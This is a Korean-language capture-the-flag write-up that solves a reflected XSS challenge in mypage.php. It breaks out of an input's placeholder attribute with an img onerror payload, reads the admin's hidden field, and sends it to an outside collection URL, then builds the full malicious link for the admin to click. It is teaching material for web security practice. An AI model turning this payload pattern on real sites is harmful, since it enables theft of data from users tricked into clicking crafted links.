CTF : Basic Script Prac

DATE : 2024/1/13

Goal : Find a flag in mypage.php

Basic Script Prac은 mypage.php에 존재하는 Reflected XSS 취약점을 공략해

flag를 찾아내는 문제이다.

다행스럽게도 취약점이 존재하는 페이지와 정보를 탈취하고자 하는 페이지의 구조가 동일하기 때문에

스크립트 자체가 복잡하진 않을 것이다.

Step#1 : 취약점 위치 파악하기

문제에서 애초에 mypage.php에 취약점이 존재한다고 알려줬기 때문에 포인트를 따로 찾을 필요는 없다.

하지만 어떤 파라미터를 통해 스크립트를 전달할 수 있을 지,

파라미터 결과가 반영되는 페이지 상 위치가 어디인지는 확인하고 넘어가자.

Packet을 둘러보면 user parameter가 전달되고 있음을 볼 수 있고

해당 데이터가 개인 정보의 두 번째 칸에 출력 되는 걸 파악할 수 있을 것이다.

취약점 포인트에 특정 문자를 사용할 수 있는 지 확인해보면

정상적으로 < " ' > 가 Packet & Browser 상에 나오는 걸 볼 수 있다.

Step#2 : JS로 데이터 위치에 접근하기

정보를 탈취할 admin의 마이페이지는 다른 사용자와 동일한 구성이기 때문에

자신의 계정으로 로그인한 상태에서 추출한 데이터의 위치가 어떻게 되는 지 파악하고 가면 쉬울 것이다.

개발자 도구에서 Flag Here..! 문구가 있는 요소를 선택하면

<input name="info" type="text" placeholder="Flag Here..!">

이와 같은 <input> tag를 확인할 수 있을 것이다.

딱 보아-하니! JS에서 이 태그에 접근하기 위해선 name 속성을 사용하면 될 듯하고

태그 안에 작성된 내용을 얻기 위해선 placeholder 속성 값을 가져오면 될 거 같다.

Flag Here..! 문구가 맞는 지 확인하기 위해 console 창에 입력해보면 결과를 확인해볼 수 있다.

Step#3 : 공격 스크립트 준비하기

현재 user parameter가 페이지 상에 들어가는 위치는

<input> tag의 placeholder로 스크립트를 실행하기 위해서 따옴표를 빠져 나올 필요가 있다.

이를 감안해 스크립트의 큰 틀을 잡아보자면 아래와 같다.

user="/><img src=1 onerror="__script__">

<script> tag를 삽입할 수도 있지만 브라우저가 동작하는 특성을 고려했을 때,

script tag를 HTML 중간에서 마주치게 되면 <script> 내용부터 처리하기 때문에

원하는 태그에 접근하는 데에 에러가 발생할 수 있다.

(아직 페이지가 다 로드되지 않은 상태로 <script>가 실행되기 때문)

스크립트가 실행되는 시점을 조절할 수 있지만 이는 추가적으로 코드를 작성해야 하기 때문에

이번 문제는 간편하게 <img> tag로 에러 이벤트를 발생 시키기로 했다.

다음으로 실행 시킬 스크립트를 작성해보자.

var data= document.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src='https://en8eic4rwiekf.x.pipedream.net/?secret='+data;

admin 페이지에서 뽑아올 데이터 위치는 앞에서 이미 파악해두었기 때문에 해당 element 값을 가져와

변수 data에 할당한다.

새로운 이미지 태그를 생성한 뒤, 이미지 태그의 경로로 공격자 서버 URL을 입력해 data를

파라미터로 보내주면 끝이다.

Step#4 : 사용자에게 URL 전달

이제 앞서 작성한 스크립트를 admin에게 보내줄 차례이다.

admin이 링크를 클릭함으로써 공격이 이루어진다는 상황을 상상해야 한다.

XSS 취약점이 존재하는 페이지에 user parameter로 스크립트를 전달하도록 링크를 작성하면

http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user="/><img src=1 onerror="var data= document.getElementsByName('info')[0].placeholder;var i=new Image();i.src='https://en8eic4rwiekf.x.pipedream.net/?secret='%2bdata;">

이와 같이 링크를 만들 수 있을 것이다.

이제 링크를 사용자에게 전달하기만 하면 된다.

이 링크를 admin이 클릭한다면 Reflected XSS 취약점이 존재하는 페이지를 이용해

공격자 서버로 자신이 가지고 있는 flag를 보내줄 것이다.

이후 공격자의 서버 기록을 확인해보면 성공적으로 flag가 도착해있는 걸 볼 수 있다. 👍

Last updated